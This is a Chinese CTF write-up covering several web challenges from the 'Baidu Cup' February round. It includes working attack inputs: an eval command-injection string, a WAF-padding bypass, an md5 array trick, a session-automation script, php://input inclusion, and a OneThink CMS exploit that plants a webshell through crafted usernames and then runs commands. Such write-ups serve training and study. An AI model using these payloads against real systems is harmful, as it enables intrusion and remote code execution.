“百度杯”CTF比賽(二月場)-web-writeup


爆破一:

打開網頁看到源代碼:

 

根據提示這題就是找變量的值,本想爆破,但不太現實。百度 php獲取變量的值 有個超全局數組 $GLOBALS 

爆破二:

打開網頁看到源代碼:

看到了eval() 函數,想到命令執行

提示不在變量中,應該再flag.php

Exp:

?hello=);system("cat flag.php");//

閉合前面,注釋后面

但有一個問題,就是會被i春秋自己的waf擋,我們改成post,然后傳一個參數,讓其值大約2萬個左右。

 

 

爆破三:

打開網頁看到源代碼:

 

有三個SESSION變量 nums:計數 time:記時 whoami:有個初始值 然后將$str_rands 生成的隨機字符賦值給它。

$str_rands 就是生成2位隨機的26字母

當滿足$_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0 nums+1

 

寫個腳本測試發現當md5(數組),條件即為真。

 

<?php

  error_reporting(0);

  $arr=$_GET['a'];

  if (substr(md5($arr),5,4)==0){

    echo 'yes';

    }

  else{

    echo 'no';

  }

?>

 

 

 

  

所以第一次訪問

http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a

后面依次傳值,10以上就行。

Python腳本:

 

#!usr/bin/env python
#!coding=utf-8

__author__ = 'zhengjim'

import requests

aa = requests.session()
code = aa.get('http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a').text
# print code
cc = code[:2]
for i in xrange(10):
    url = 'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}'.format(cc[0],cc[1])
    flag= aa.get(url=url).text
    cc = flag[:2]
print flag

 

 

 

  

include

 

看到allow_url_include開啟:

 

直接 php://input就行啦

ls看有什么文件,然后cat。

 

 

zone

沒寫出來。

參考:http://www.cnblogs.com/Mrsm1th/p/6600876.html

利用nginx 配置不當導致目錄遍歷下載漏洞。

 

 

onethink

百度找到onethinnk的一個漏洞。

參考:http://www.hackdig.com/06/hack-36510.htm

 

 

就是注冊個賬號為:

 

%250a%24a%3d%24_GET%5ba%5d%3b%2f%2f%250aecho+%60%24a%60%3b%2f%2f的賬號, 但因為賬號長度有限制。所以分別兩個來注冊

 

賬號一:%0a$a=$_GET[a];//

 

賬號二:%0aecho `$a`;//

 

burp來改包,不然會失敗。

 

依次登入,也要用burp來改包登入。

 

 

 

然后訪問/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php

 

查找下flag位置 cat就行了。

 

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM